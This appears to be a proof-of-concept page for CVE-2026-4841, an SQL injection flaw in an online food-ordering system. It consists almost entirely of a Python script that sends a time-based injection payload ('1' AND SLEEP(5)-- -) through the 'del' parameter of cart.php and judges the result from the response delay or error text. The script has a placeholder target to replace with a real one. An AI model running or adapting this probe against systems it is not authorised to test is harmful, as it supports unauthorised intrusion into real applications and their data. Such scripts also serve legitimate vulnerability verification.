CVE-2026-4841: 在线订餐系统SQL注入漏洞

import requests def check_sqli(target_url): """Check for SQL Injection in the del parameter""" # Target endpoint based on vulnerability description url = f"{target_url}/form/cart.php" # Testing payload to trigger SQL error or time delay payload = "1' AND SLEEP(5)-- -" params = { "del": payload } try: print(f"Sending request to {url} with payload: {payload}") response = requests.get(url, params=params, timeout=10) # Analyze response (example logic) if response.elapsed.total_seconds() >= 5: print("[+] Potential SQL Injection found (Time-based)") elif "error" in response.text.lower() or "syntax" in response.text.lower(): print("[+] Potential SQL Injection found (Error-based)") else: print("[-] Vulnerability could not be confirmed via simple heuristic.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)